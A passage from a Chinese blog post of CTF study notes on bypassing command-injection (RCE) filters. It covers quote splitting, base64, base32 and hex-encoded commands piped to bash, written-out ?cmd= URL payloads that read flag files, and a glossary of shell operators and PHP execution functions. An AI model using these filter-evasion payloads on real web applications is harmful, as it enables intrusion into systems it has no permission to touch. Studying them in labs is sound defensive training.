通配符是CTF中文件遍历(如 ls /var/log/*)和批量操作的常用技巧,掌握后能大幅提升命令行效率 ⚡。

8. 引号绕过:

//如cat、ls被过滤

(1)ca""t /flag

(2)l's' /

9. 编码绕过

9.1. Base64编码绕过

9.1.1. 什么是Base64编码?

Base64编码是一种基于64个可打印字符来表示二进制数据的编码方式。它常用于在需要以文本形式传输或存储二进制数据的场景中,比如电子邮件、URL参数、网络传输等。

9.1.2. Base64编码的特点 :

Base64使用以下64个字符作为编码表:

字母:A-Z、a-z(共52个字符)

数字:0-9(共10个字符)

两个符号:+和/(共2个字符)

填充符:=(用于填充不足3字节的数据)

echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d #解码读取命令
即cat flag.txt
echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash #执行命令
|把cat flag.php,放在bash里执行

base64解码后的命令通过管道符传递给bash

payload:
echo xxxx|base64 -d|bash
`echo xxxx|base64 -d`
$(echo xxxx|base64 -d)

?cmd=passthru('`echo "Y2F0IGZsYWcudHh0Cg=="|base64 -d`');

9.2. base32编码绕过

?cmd=system('echo "MNQXIIDGNRQWOLTQNBYA===="|base32 -d|/bin/bash');
即执行cat flag.php

10. HEX编码(十六进制编码/ASCII码)绕过

?cmd=passthru('echo "74616320666c61672e706870"|xxd -r -p|bash');
即执行cat flag.php

补充(初学时记录)

【GET方法是HTTP协议中最常用的方法,通常用于请求服务器发送某个资源】

【POST请求是一种HTTP方法,用于向服务器提交数据或发送请求】

【命令前的 $代表普通权限, #代表root权限】

【cmd自定义变量名,可存储字符串、命令等】

【__FILE__ 是一个魔术常量,表示当前脚本的完整路径】

【$cmd = $_GET["cmd"]; 如果URL为 http://example.com/script.php?cmd=ls,则 $cmd 的值将是 ls】

【反引号 用于编程与Shell中的命令替换或字符串格式化,输入需英文输入法

反引号(`)是位于键盘左上角、ESC键下方、数字1键左侧的符号】

【任意代码执行(Arbitrary Code Execution,ACE)」 是指攻击者在目标计算机或目标进程中运行攻击者选择的任何命令或代码的能力,这是一个广泛的概念,它涵盖了任何类型的代码运行过程,不仅包括系统层面的脚本或程序,也包括应用程序内部的函数或方法调用。】
【在此基础上我们将通过网络触发任意代码执行的能力通常称为 远程代码执行 远程代码执行(RCE,Remote Code Execution,RCE)】。
【命令执行(Command Execution)」 通常指的是在操作系统层面上执行预定义的指令或脚本。这些命令最终的指向通常是系统命令,如Windows中的CMD命令或Linux中的Shell命令,这在语言中可以体现为一些特定的函数或者方法调用,如PHP中的`shell_exec()`函数或Python中的`os.system()`函数。】
【代码执行(Code Execution)」 同我们最开始说到的任意代码执行,在语言中可以体现为一些函数或者方法调用,如PHP中的`eval()`函数或Python中的`exec()`函数。】

【数据网络技术:DNT是Data Network Technology的英文缩写,中文解释为数据网络技术】
【a=whoami 是将当前用户名赋值给变量 a 的操作】

【SHELL 运算符 可以用于控制命令的执行流程,使得你能够根据条件执行不同的命令。】
【&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。例: mkdir test && cd test】
【||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2。例: cd nonexistent_directory || echo "Directory not found"】
【&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。例: sleep 10 & echo "This will run immediately."】
【;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。例: echo "Hello" ; echo "World"】

【在Shell中,单/双引号 "/' 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。例如:echo "$"a 会输出 $a,而 echo $a 会输出变量a的值,当只有""则表示空字符串,Shell会忽略它。

*(星号): 匹配零个或多个字符。例子: *.txt。

?(问号): 匹配单个字符。例子: file?.txt。

[](方括号): 匹配方括号内的任意一个字符。例子: file[1-3].txt。

[^](取反方括号): 匹配不在方括号内的字符。例子: file[^a-c].txt。

{}(大括号): 匹配大括号内的任意一个字符串。例子: file{1,2,3}.txt。】

【# -*- coding: utf-8 -*- //编码格式说明

# @Author: 探姬 //作者

# @Date: 2024-08-11 14:34 //日期时间

# @Repo: github.com/ProbiusOfficial/RCE-labs //代码仓库地址

# @email: admin@hello-ctf.com //联系邮箱

# @link: hello-ctf.com //相关网站】

【/?cmd=...是URL参数形式,常见于Web应用命令执行漏洞利用场景;

cat /fl*是核心命令,cat用于读取文件,/fl*通过通配符*匹配根目录下所有以fl开头的文件(如/flag)】

【网络安全】RCE漏洞讲解、绕过方式及实例介绍 4、passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;6、call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组。2、exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显)5、call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数。1、system():能将字符串作为OS命令执行,且返回命令执行结果; 阅读详情

相关推荐

5.3 磁悬浮轴承:基于有限元法的电磁场分析

摘要:本文系统阐述了有限元法在磁悬浮轴承电磁场分析中的应用。相较于等效磁路法和解析法,有限元法能精确处理复杂几何、材料非线性和动态效应。重点介绍了三维静磁场仿真(用于计算稳态磁场、电磁力和电感)和瞬态磁场仿真(用于分析动态过程和损耗)的关键设置与后处理方法。通过有限元分析可验证承载力、评估损耗分布并指导结构优化,形成"磁路设计-有限元验证-参数修正"的闭环设计流程,为磁轴承的精确设计和性能评估提供可靠依据。

技术工作者 1292

RCE漏洞简介

今天继续给大家介绍渗透测试相关知识,本文主要内容是RCE漏洞简介。 一、RCE漏洞简介与危害 二、代码执行和命令执行区别 三、RCE漏洞产生与防护

永远是少年 6634

第7篇-SAP MM模块-JIT应用实战解析,从计划协议到JIT供应的关键配置与流程

本文深入解析SAP MM模块中的JIT(Just In Time)供应模式,从计划协议到JIT供应的关键配置与流程。通过动态计划行管理、需求聚合与分解等核心功能,实现精确数量、时间和地点的物料供应。文章详细介绍了主数据准备、计划协议配置、MRP参数精调及EDI集成方案,并提供了实施中的典型问题与解决方案,助力企业优化供应链管理。

weixin_30363509的博客 947

RCE漏洞详解及绕过总结(全面)

包括RCE漏洞的原理,常见的造成RCE漏洞的函数解析,以及限制绕过的各种姿势

永不落的梦想 2万+

WSL中使用VMD图形化界面

【代码】WSL中使用VMD图形化界面。

handsome213的博客 839

ESXI添加硬盘时提示 无法创建 VMFS 数据存储 - 无法更改主机配置

ESXI添加硬盘时提示 无法创建 VMFS 数据存储 - 无法更改主机配置1.打开ESXI的SSH2.找到不能添加的硬盘路径3.用SSH操作 1.打开ESXI的SSH 2.找到不能添加的硬盘路径 我的是第一个,找到你要添加但是不能添加的那个硬盘,点进去。 完整的路劲为:1/2 比如我的: /vmfs/devices/disks/t10.ATA_____ST500LT0122D1DG142___________________________________S3PHRNHQ (比较长哈!) 3.用SSH

AI_DOG的博客 2万+

RCE漏洞总结及绕过---系统命令执行篇

对于取反绕过~ 、参数逃逸等绕过方法放在了 代码执行漏洞篇中RCE漏洞防护1.对用户的输入作严格的过滤,建议使用白名单策略;2.尽量不使用容易产生漏洞的危险函数;

qq_46603839的博客 6640

浅谈迪杰斯特拉(Dijkstra)算法和A*算法原理及实现

迪杰斯特拉(Dijkstra)算法和A*算法的原理及实现。

Guo_Zhanyu 9597

RCE漏洞及绕过

RCE漏洞:远程代码执行和远程命令执行在很多Web应用中,开发人员会使用一些特殊函数,这些函数以一些字符串作为输入,功能是将输入的字符串当作代码或者命令来进行执行。当用户可以控制这些函数的输入时,就产生了RCE漏洞。

BKN711的博客 1657

Unity类银河战士恶魔城学习总结(P162 Improve skeleton提升敌人的效果)

为敌人添加了快慢刀

suzh1qian的博客 572

2024最新Typora配置指南:从安装到打造学术写作环境(含LaTeX/参考文献解决方案)

本文提供2024年最新Typora配置指南,详细讲解如何从安装开始,结合Pandoc、Zotero和LaTeX,打造高效的学术写作环境。指南涵盖Typora深度定制、学术主题配置、参考文献自动管理以及一键生成出版级PDF的完整解决方案,旨在帮助科研人员和学生实现内容与格式分离,大幅提升论文写作效率。

weixin_29258297的博客 211

RCE绕过

符号“~”可以将URL编码取反,并且PHP函数中的urlencode可以将字符进行编码,所以我们可以先用命令将其取反,随后使用~再次取反从而实现绕过。shell_exec():能将字符串作为OS命令执行与``作用相同,但无回显,需要echo或其他的输出函数使得其回显;call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;assert():将字符串作为php代码执行;

Fzine的博客 1990

Jetson AGX Orin到手必看:DP线选错黑屏、SSD不识别?这篇避坑指南帮你一次搞定

本文详细介绍了Jetson AGX Orin开发套件的硬件避坑指南,涵盖开箱检查、DP线选择、SSD兼容性等关键问题。通过实测数据和实用技巧,帮助开发者避免黑屏、存储不识别等常见问题,提升开发效率。特别推荐符合VESA认证的DP 1.4a线缆和兼容性优秀的SSD型号,确保设备稳定运行。

weixin_33696822的博客 433

RCE漏洞及绕过技巧:从基础到高级实战攻略

例:scandir(‘.’)能返回当前目录,虽然无法传参,但可以利用localeconv()返回. 并且用current()取第一个值实现,即用current(localeconv())构造一个点.此时flag.php位置较靠后,用array_reverse将数组反转,然后用next选择第二个即flag.php,然后读取flag.php文件。先利用current将localeconv中的.取出来,然后用scandir返回当前目录中的文件和子目录,得到当前flag在flag.php。php> <?

2301_79469341的博客 1616

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

深入浅出RCE漏洞:原理、利用与绕过,一篇全面掌握!

RCE漏洞概述与绕过技巧 RCE(远程代码/命令执行)漏洞是Web应用中常见的安全风险,当用户输入未经严格过滤时,可能导致恶意代码或系统命令执行。常见漏洞函数包括系统命令执行(如system、exec)和代码执行(如eval、assert)。 RCE绕过方法: 管道符:使用;、&、||等拼接命令 空格绕过:用${IFS}、%09等替代空格 字符过滤绕过:通过反斜杠、异或、取反或自增构造payload 编码绕过:利用Base64、Hex编码隐藏命令 正则绕过:使用通配符(如?、*)匹配文件名 命令替换

xx16755498986的博客 1359

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

【RCE剖析】从0到1讲解RCE漏洞绕过,Windows与Linux的RCE漏洞绕过方式总结

本文介绍了Windows和Linux系统中命令执行漏洞的常见绕过方式。Windows部分重点讲解了利用引号、转义符、变量拼接、环境变量切分等技术绕过命令过滤,包括使用偶数引号、转义符位置限制、变量分割执行等技巧。Linux部分分析了运算符(;、&、&&、|)的不同执行特性,以及如何利用这些特性绕过过滤。文章通过CTFHub靶场环境,展示了命令注入、cat过滤、空格过滤等场景下的实用绕过方法,为渗透测试和漏洞利用提供了具体的技术参考。

wholeliubei的博客 1177

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

RCE漏洞总结及绕过---代码执行篇

eval():该函数把字符串当做php代码来计算,并且字符串必须是合法的php代码,要以分号结尾;assert():该函数会检查一个指定断言。断言是一个逻辑学词汇,主要用于程序员来进行假设判断。断言只有两种类型,字符串型或者布尔型,当断言为flse时返回字符串表达式。如果断言是字符串那么会当做php代码执行;preg_replace():/e模式 正则匹配替换字符串,7.0版本后/e已经移除了;

qq_46603839的博客 2660

RCE绕过的简介以及常见的绕过方式(个人学习笔记)

1.目录分隔符被过滤后,无法通过cat等查看目录的命令直接读取文件夹的目录里的PHP文件,而是需要先进入该文件夹(查看文件夹目录),再通过cat读取PHP文件的内容。进入题目,查看源代码,为php函数,该函数意思为:判断是否有变量cmd,如果有,则执行eval($_REQUEST[‘cmd’]);查看网页信息,该题对注入的命令无任何过滤,且当输入ip的时候,cmd会执行ping命令,尝试ping 127.0.0.1 | ls ,可以正常连接。命令 system():执行系统命令并输出执行结果。

2302_80935968的博客 1752

RCE绕过技巧大全

远程代码执行(RCE)漏洞是一种严重的安全威胁,允许攻击者在受害者的服务器上执行任意命令。在实际渗透测试和攻击过程中,WAF(Web应用防火墙)或漏洞的某些限制可能需要使用各种绕过技巧。以下是常见的 RCE 绕过技术分类和示例。

渗透测试 1822

RCE漏洞攻防全解:从原理到实战

本文深入剖析远程代码执行(RCE)漏洞的原理、攻击手法和防御策略。文章首先明确RCE漏洞的定义,指出其通过恶意输入绕过系统防护执行任意代码的高危特性,并分析其四大成因:输入验证不足、危险函数滥用、逻辑设计缺陷和第三方组件风险。然后从操作系统层面详细解析Linux/Windows系统的命令注入技术,包括环境变量利用、通配符绕过等高级手法。接着构建完整的攻击链模型,涵盖信息收集到目标达成的9个阶段,提供Exchange服务器入侵等实战案例。

欢迎来到我的博客 2747

RCE漏洞【个人学习笔记】

能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;:能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显),但不会输出;algo:使用的哈希算法,例如“md5”、“sha256”等。:回调函数,第一个参数为函数名,第二个参数为函数参数的数组;:回调函数,第一个参数为函数名,第二个参数为函数的参数;:能将字符串作为OS命令执行,且返回命令执行结果;

lx_xy的博客 1174

RCE-远程代码执行漏洞

远程代码执行(Remote Code Execution,RCE)是一种严重的安全漏洞,允许攻击者在目标服务器或应用程序上执行任意代码。这种漏洞的出现通常源于以下几个方面的缺陷:用户输入未经过滤或验证:当服务器端应用程序未能正确验证用户提交的数据,如HTTP请求参数、文件上传内容、数据库查询语句等,攻击者可能会将恶意代码注入到这些输入中。代码执行功能的设计缺陷:有些系统或应用提供了执行代码的接口,如PHP的函数、Java的反序列化漏洞等,若未做足够的安全防护,攻击者可通过操纵输入使得这些接口执行恶意代码。组

2301_80661529的博客 1863
上一篇: XXE漏洞详解:从原理到实战【附加例题】
下一篇: RCE【rce-labs】题目详细解!!【1-17】
tryqaaa_
博客等级 码龄1年 11粉丝 31原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值